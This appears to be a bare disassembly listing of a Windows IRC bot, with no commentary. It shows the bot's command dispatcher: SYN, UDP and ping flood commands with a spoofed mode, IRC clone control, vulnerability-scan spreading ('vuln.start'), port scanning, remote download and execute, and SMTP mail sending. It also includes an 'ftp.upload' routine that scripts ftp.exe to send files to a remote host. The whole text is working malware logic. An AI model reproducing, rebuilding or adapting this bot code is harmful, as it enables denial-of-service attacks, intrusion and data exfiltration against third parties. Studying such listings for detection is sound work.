		push	eax
		lea	eax, [ebp-4DCh]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-4D8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40BDD5


loc_40BDBF:				; CODE XREF: .nsp0:0040BDD3j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40F73A
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40BDBF
; ---------------------------------------------------------------------------


loc_40BDD5:				; CODE XREF: .nsp0:0040BDBDj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F10C
		jmp	loc_40F72B
; ---------------------------------------------------------------------------


loc_40BDE6:				; CODE XREF: .nsp0:0040BC80j
		push	dword ptr [ebp+18h]
		push	offset aBox_net	; "box.net"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40C0B7
		cmp	dword_433B98, ebx
		jz	short loc_40BE17
		cmp	dword_433BC0, ebx
		jz	short loc_40BE17
		push	offset dword_42F0B8
		jmp	loc_40C071
; ---------------------------------------------------------------------------


loc_40BE17:				; CODE XREF: .nsp0:0040BE03j
					; .nsp0:0040BE0Bj
		cmp	[ebp-0Ch], ebx
		jz	loc_40C07F
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40BE3F
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40BE3F:				; CODE XREF: .nsp0:0040BE2Fj
		push	edi
		push	offset aStart	; "start"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BEA5
		cmp	[ebp+20h], ebx
		jz	short loc_40BE79
		push	dword ptr [ebp+8]
		push	3


loc_40BE5A:				; CODE XREF: .nsp0:0040BEBBj
					; .nsp0:0040BED3j ...
		call	sub_40FA8C
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411EEE
		add	esp, 14h
		jmp	loc_40C07F
; ---------------------------------------------------------------------------


loc_40BE79:				; CODE XREF: .nsp0:0040BE53j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40FD33
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40BE9B
		push	offset dword_42F080
		jmp	loc_40C071
; ---------------------------------------------------------------------------


loc_40BE9B:				; CODE XREF: .nsp0:0040BE8Fj
		push	offset dword_42F04C
		jmp	loc_40C071
; ---------------------------------------------------------------------------


loc_40BEA5:				; CODE XREF: .nsp0:0040BE4Ej
		push	edi
		push	offset aStop	; "stop"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BEBD
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40BE5A
; ---------------------------------------------------------------------------


loc_40BEBD:				; CODE XREF: .nsp0:0040BEB4j
		push	edi
		push	offset aPause	; "pause"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BED5
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40BE5A
; ---------------------------------------------------------------------------


loc_40BED5:				; CODE XREF: .nsp0:0040BECCj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BEF0
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40BE5A
; ---------------------------------------------------------------------------


loc_40BEF0:				; CODE XREF: .nsp0:0040BEE4j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BF0B
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40BE5A
; ---------------------------------------------------------------------------


loc_40BF0B:				; CODE XREF: .nsp0:0040BEFFj
		push	edi
		push	offset aShare	; "share"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BF88
		cmp	[ebp+20h], ebx
		jz	short loc_40BF5B
		cmp	[ebp-9B0h], bl
		jz	short loc_40BF31
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40BF3C
; ---------------------------------------------------------------------------


loc_40BF31:				; CODE XREF: .nsp0:0040BF27j
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40BF3C:				; CODE XREF: .nsp0:0040BF2Fj
		call	sub_40FE70
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411EEE
		add	esp, 18h
		jmp	loc_40C07F
; ---------------------------------------------------------------------------


loc_40BF5B:				; CODE XREF: .nsp0:0040BF1Fj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_410065
		add	esp, 10h
		test	eax, eax
		jz	short loc_40BF7E
		push	offset dword_42EFF8
		jmp	loc_40C071
; ---------------------------------------------------------------------------


loc_40BF7E:				; CODE XREF: .nsp0:0040BF72j
		push	offset dword_42EFC4
		jmp	loc_40C071
; ---------------------------------------------------------------------------


loc_40BF88:				; CODE XREF: .nsp0:0040BF1Aj
		push	edi
		push	offset aUser	; "user"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40C024
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40BFFD
		cmp	[ebp-9B0h], bl
		jz	short loc_40BFBE
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFBE:				; CODE XREF: .nsp0:0040BFAAj
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40BFDA
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFDA:				; CODE XREF: .nsp0:0040BFD3j
		push	ebx
		push	eax
		push	2


loc_40BFDE:				; CODE XREF: .nsp0:0040BFBCj
					; .nsp0:0040BFD8j
		call	sub_410186
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411EEE
		add	esp, 24h
		jmp	loc_40C07F
; ---------------------------------------------------------------------------


loc_40BFFD:				; CODE XREF: .nsp0:0040BFA2j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_41069A
		add	esp, 10h
		test	eax, eax
		jz	short loc_40C01D
		push	offset dword_42EF88
		jmp	short loc_40C071
; ---------------------------------------------------------------------------


loc_40C01D:				; CODE XREF: .nsp0:0040C014j
		push	offset dword_42EF58
		jmp	short loc_40C071
; ---------------------------------------------------------------------------


loc_40C024:				; CODE XREF: .nsp0:0040BF97j
		push	edi
		push	offset aSend	; "send"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C06C
		cmp	[ebp+20h], ebx
		jz	short loc_40C065
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41094E
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		jmp	short loc_40C07F
; ---------------------------------------------------------------------------


loc_40C065:				; CODE XREF: .nsp0:0040C038j
		push	offset dword_42EF24
		jmp	short loc_40C071
; ---------------------------------------------------------------------------


loc_40C06C:				; CODE XREF: .nsp0:0040C033j
		push	offset dword_42EEF4


loc_40C071:				; CODE XREF: .nsp0:0040BE12j
					; .nsp0:0040BE96j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_40C07F:				; CODE XREF: .nsp0:0040BE1Aj
					; .nsp0:0040BE74j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C0A0
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40C0A0:				; CODE XREF: .nsp0:0040C082j
					; .nsp0:0040E3FDj ...
		mov	esi, [ebp+2Ch]


loc_40C0A3:				; CODE XREF: .nsp0:0040E519j
					; .nsp0:0040E53Bj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		pop	ecx
		mov	eax, esi
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40C0B7:				; CODE XREF: .nsp0:0040BDF7j
		push	dword ptr [ebp+18h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2A4
		push	dword ptr [ebp+18h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2A4
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40A7B4
		push	dword ptr [ebp+18h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E268
		push	dword ptr [ebp+18h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E268
		push	dword ptr [ebp+18h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E215
		push	dword ptr [ebp+18h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E215
		push	dword ptr [ebp+18h]
		push	offset aEnz_action ; "enz.action"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1A7
		push	dword ptr [ebp+18h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1A7
		push	dword ptr [ebp+18h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E144
		push	dword ptr [ebp+18h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E144
		push	dword ptr [ebp+18h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E105
		push	dword ptr [ebp+18h]
		push	offset aEnz_m	; "enz.m"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E105
		push	dword ptr [ebp+18h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E09A
		push	dword ptr [ebp+18h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E09A
		push	dword ptr [ebp+18h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E018
		push	dword ptr [ebp+18h]
		push	offset aClone_m	; "clone.m"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E018
		push	dword ptr [ebp+18h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA7
		push	dword ptr [ebp+18h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA7
		push	dword ptr [ebp+18h]
		push	offset aClone_join ; "clone.join"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF81
		push	dword ptr [ebp+18h]
		push	offset aClone_j	; "clone.j"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF81
		push	dword ptr [ebp+18h]
		push	offset aClone_part ; "clone.part"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1E
		push	dword ptr [ebp+18h]
		push	offset aClone_p	; "clone.p"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1E
		push	dword ptr [ebp+18h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE49
		push	dword ptr [ebp+18h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE49
		push	dword ptr [ebp+18h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDAE
		push	dword ptr [ebp+18h]
		push	offset aEnz_de	; "enz.de"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDAE
		push	dword ptr [ebp+18h]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC30
		push	dword ptr [ebp+18h]
		push	offset aDownload_upz ; "download.upz"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC30
		push	dword ptr [ebp+18h]
		push	offset aBox_execute ; "box.execute"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB9D
		push	dword ptr [ebp+18h]
		push	offset aBox_e	; "box.e"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DB9D
		push	dword ptr [ebp+18h]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA90
		push	dword ptr [ebp+18h]
		push	offset aBox_ff	; "box.ff"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA90
		push	dword ptr [ebp+18h]
		push	offset aBox_rename ; "box.rename"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA3C
		push	dword ptr [ebp+18h]
		push	offset aBox_mv	; "box.mv"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA3C
		push	dword ptr [ebp+18h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D941
		push	dword ptr [ebp+18h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D941
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40A7B4
		push	dword ptr [ebp+18h]
		push	offset aClone_make ; "clone.make"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D856
		push	dword ptr [ebp+18h]
		push	offset aClone_start ; "clone.start"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D856
		push	dword ptr [ebp+18h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D751
		push	dword ptr [ebp+18h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D751
		push	dword ptr [ebp+18h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D751
		push	dword ptr [ebp+18h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D653
		push	dword ptr [ebp+18h]
		push	offset aSy1	; "sy1"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D653
		push	dword ptr [ebp+18h]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D515
		push	dword ptr [ebp+18h]
		push	offset aD1	; "d1"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D515
		push	dword ptr [ebp+18h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D41B
		push	dword ptr [ebp+18h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D41B
		push	dword ptr [ebp+18h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D328
		push	dword ptr [ebp+18h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D328
		push	dword ptr [ebp+18h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D253
		push	dword ptr [ebp+18h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D253
		push	dword ptr [ebp+18h]
		push	offset aClone_action ; "clone.action"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D13E
		push	dword ptr [ebp+18h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D13E
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+10h], eax
		jz	loc_40A7B4
		push	dword ptr [ebp+18h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDE7
		push	dword ptr [ebp+18h]
		push	offset aVv	; "vv"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDE7
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCC7
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCC7
		push	dword ptr [ebp+18h]
		push	offset aPu	; "pu"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCC7
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB94
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB94
		push	dword ptr [ebp+18h]
		push	offset aPg	; "pg"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB94
		push	dword ptr [ebp+18h]
		push	offset aDdod	; "ddod"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA01
		push	dword ptr [ebp+18h]
		push	offset aUsa	; "usa"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA01
		push	dword ptr [ebp+18h]
		push	offset aUtil_email ; "util.email"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40C802
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_412600
		push	dword ptr [ebp+20h]
		call	sub_41245F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_412600
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_412600
		push	offset asc_421F4C ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_40787E
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_412600
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	dword_433A40	; WSAStartup
		lea	eax, [ebp-3E4h]
		push	eax
		call	dword_433B4C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_433B48	; socket
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	dword_433AC8	; ntohs
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	dword_433A70	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	dword_433AE0	; recv
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	dword_433B18	; send
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	dword_433AE0	; recv
		push	esi
		call	dword_433B60	; closesocket
		call	dword_433A28	; WSACleanup
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_42EBA8
		jmp	loc_40DF0A
; ---------------------------------------------------------------------------


loc_40C802:				; CODE XREF: .nsp0:0040C6A7j
		push	dword ptr [ebp+18h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9D3
		push	dword ptr [ebp+18h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9D3
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40A7B4
		push	dword ptr [ebp+18h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F7D2
		push	4
		push	esi
		call	sub_40966A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C8A8
		push	esi
		push	offset dword_42EB4C


loc_40C867:				; CODE XREF: .nsp0:0040CB85j
					; .nsp0:0040D139j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40C876:				; CODE XREF: .nsp0:0040CB69j
					; .nsp0:0040D11Dj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40C897
		push	ebx
		push	dword ptr [ebp-4]


loc_40C87F:				; CODE XREF: .nsp0:0040D74Cj
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40C88F:				; CODE XREF: .nsp0:0040EE84j
		call	sub_40F9F1
		add	esp, 14h


loc_40C897:				; CODE XREF: .nsp0:0040C879j
					; .nsp0:0040CCB8j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		jmp	loc_40F95F
; ---------------------------------------------------------------------------


loc_40C8A8:				; CODE XREF: .nsp0:0040C85Fj
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		pop	ecx
		call	sub_411F4A
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_411F4A
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_411F4A
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4125E8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40A7B4
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_412596
		push	dword ptr [ebp+2Ch]
		call	sub_412540
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_411EEE
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_433A3C	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40C972
		push	offset dword_42EAD0
		jmp	short loc_40C977
; ---------------------------------------------------------------------------


loc_40C972:				; CODE XREF: .nsp0:0040C969j
		push	offset dword_42EA90


loc_40C977:				; CODE XREF: .nsp0:0040C970j
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40C9A0
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40C9A0:				; CODE XREF: .nsp0:0040C982j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17


loc_40C9AC:				; CODE XREF: .nsp0:0040C9D1j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_40966A
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40A7B4
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_414103
		jmp	short loc_40C9AC
; ---------------------------------------------------------------------------


loc_40C9D3:				; CODE XREF: .nsp0:0040C813j
					; .nsp0:0040C82Aj
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_41245F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40516F
		jmp	loc_40F7CF
; ---------------------------------------------------------------------------


loc_40CA01:				; CODE XREF: .nsp0:0040C679j
					; .nsp0:0040C690j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41246A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_412310
		add	esp, 14h
		test	eax, eax
		jz	short loc_40CA64
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CA64
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CA64
		push	offset dword_42EA54
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40CA64:				; CODE XREF: .nsp0:0040CA2Aj
					; .nsp0:0040CA41j ...
		push	dword ptr [ebp+10h]
		call	sub_41245F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40CB8A
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41246A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_41246A
		push	dword ptr [ebp+8]
		call	sub_41245F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_41246A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40CAFB
		mov	eax, offset aNormal ; "Normal"


loc_40CAFB:				; CODE XREF: .nsp0:0040CAF4j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_42E9FC
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Ch
		push	eax
		call	sub_41199A
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40CB79


